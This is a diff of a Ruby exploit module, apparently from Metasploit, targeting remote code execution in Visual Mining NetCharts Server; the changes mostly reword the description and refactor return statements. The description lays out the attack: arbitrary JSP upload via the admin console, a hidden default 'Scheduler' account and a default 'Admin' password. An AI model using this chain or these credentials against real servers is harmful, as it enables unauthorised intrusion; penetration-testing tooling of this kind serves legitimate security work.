@@ -19,13 +19,15 @@ def initialize(info = {})
19
19
super ( update_info ( info ,
20
20
'Name' => 'Visual Mining NetCharts Server Remote Code Execution' ,
21
21
'Description' => %q{
22
- This module exploits multiple vulnerabilities on Visual Mining NetCharts. First of all, a
23
- lack of input validation in the administration console allows to upload arbitrary jsp code
24
- to locations accessible later through the web service. But authentication is required to
25
- access the administration console. To bypass authentication, a 'hidden' user is available
26
- by default (and non editable). This user, named 'Scheduler', only will be able to log in
27
- the console after some modification in the user's database. If the 'Scheduler' user isn't
28
- available it's possible to provide valid credentials through the datastore options.
22
+ This module exploits multiple vulnerabilities in Visual Mining NetCharts.
23
+ First, a lack of input validation in the administration console permits
24
+ arbitrary jsp code upload to locations accessible later through the web
25
+ service. Authentication is typically required, however a 'hidden' user is
26
+ available by default (and non editable). This user, named 'Scheduler',
27
+ can only login to the console after any modification in the user
28
+ database (a user is added, admin password is changed etc). If the
29
+ 'Scheduler' user isn't available valid credentials must be supplied. The
30
+ default Admin password is Admin.
29
31
} ,
30
32
'Author' =>
31
33
[
@@ -65,10 +67,10 @@ def check
65
67
} )
66
68
67
69
if res && res . code == 200 && res . body && res . body . to_s . include? ( SIGNATURE )
68
- return Exploit ::CheckCode ::Detected
70
+ Exploit ::CheckCode ::Detected
71
+ else
72
+ Exploit ::CheckCode ::Safe
69
73
end
70
-
71
- Exploit ::CheckCode ::Safe
72
74
end
73
75
74
76
def exploit
@@ -114,25 +116,17 @@ def upload(file_name, contents)
114
116
} )
115
117
116
118
if res && res . code == 200 && res . body && res . body . to_s . include? ( SIGNATURE )
117
- return true
119
+ true
120
+ else
121
+ false
118
122
end
119
-
120
- false
121
123
end
122
124
123
125
def username
124
- if datastore [ 'USERNAME' ] . blank?
125
- return DEFAULT_USERNAME
126
- end
127
-
128
- datastore [ 'USERNAME' ]
126
+ datastore [ 'USERNAME' ] . blank? ? DEFAULT_USERNAME : datastore [ 'USERNAME' ]
129
127
end
130
128
131
129
def password
132
- if datastore [ 'PASSWORD' ] . blank?
133
- return DEFAULT_PASSWORD
134
- end
135
-
136
- datastore [ 'PASSWORD' ]
130
+ datastore [ 'PASSWORD' ] . blank? ? DEFAULT_PASSWORD : datastore [ 'PASSWORD' ]
137
131
end
138
132
end
0 commit comments